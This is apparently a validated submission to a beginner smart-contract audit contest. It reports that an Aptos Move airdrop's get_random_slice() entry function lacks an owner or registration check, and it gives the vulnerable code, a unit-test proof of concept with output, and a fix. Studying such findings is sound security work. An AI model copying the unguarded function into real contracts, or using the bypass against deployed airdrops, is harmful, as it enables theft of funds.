Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

A user can claim PizzaDrop without registration

get_random_slice() has entry accessibility and has no guards to check whether user is registered already + A user can claim PizzaDrop without registration

Description

  • A user must be registered by the owner to become eligible.

  • get_random_slice() has entry accessibility.

  • get_random_slice()has no guards to check whether the user is registered already by the owner.

// Root cause in the codebase with @> marks to highlight the relevant section
#[randomness]
@> entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • A use calls get_random_slice() directly without the owner calling register_pizza_lover() first.

Impact:

  • Any user is able to register themselves and claim PizzaDrop bypassing being needing to be registered by the owner.

Proof of Concept

fun p<T>(s: &T) {
debug::print(s);
}
fun p_vector(s: vector<u8>) {
debug::print(&string::utf8(s));
}
#[test(deployer = @pizza_drop, user = @0x123, framework = @0x1)]
fun test_get_random_slice_without_being_registered(
deployer: &signer,
user: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Initialize timestamp and APT for testing
timestamp::set_time_has_started_for_testing(framework);
let now_us = timestamp::now_microseconds();
p_vector(b"now_us");
p(&now_us);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
// Create accounts
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(user));
// Initialize the pizza drop module
init_module(deployer);
// Mint APT to deployer for funding
let funding_amount = 100000; // 0.001 APT in Octas
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
// Fund the pizza drop contract
let contract_funding = 10000; // 0.0001 APT
fund_pizza_drop(deployer, contract_funding);
// Register a user for the airdrop
let user_addr = signer::address_of(user);
// User registers for the airdrop without being registered by the owner first.
get_random_slice(user_addr);
let user_claimed_amount = get_claimed_amount(user_addr);
p_vector(b"user_claimed_amount");
p(&user_claimed_amount);
assert!(user_claimed_amount == 100, 8);
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}

On line 48, any user can call get_random_slice() without the owner calling register_pizza_lover() first.

Run with:

aptos move test --filter test_get_random_slice_without_being_registered

Output:

Running Move unit tests
[debug] "now_us"
[debug] 0
[debug] "user_claimed_amount"
[debug] 100
[ PASS ] 0xccc::airdrop::test_get_random_slice_without_being_registered
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

Enforce that only the owner can call get_random_slice() and add a guard to check that the user_addr has not already claimed a random slice.

- remove this code
+ add this code
#[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ entry fun get_random_slice(owner: &signer, user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ assert!(!has_claimed_slice(user_addr), E_ALREADY_CLAIMED);
+ let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.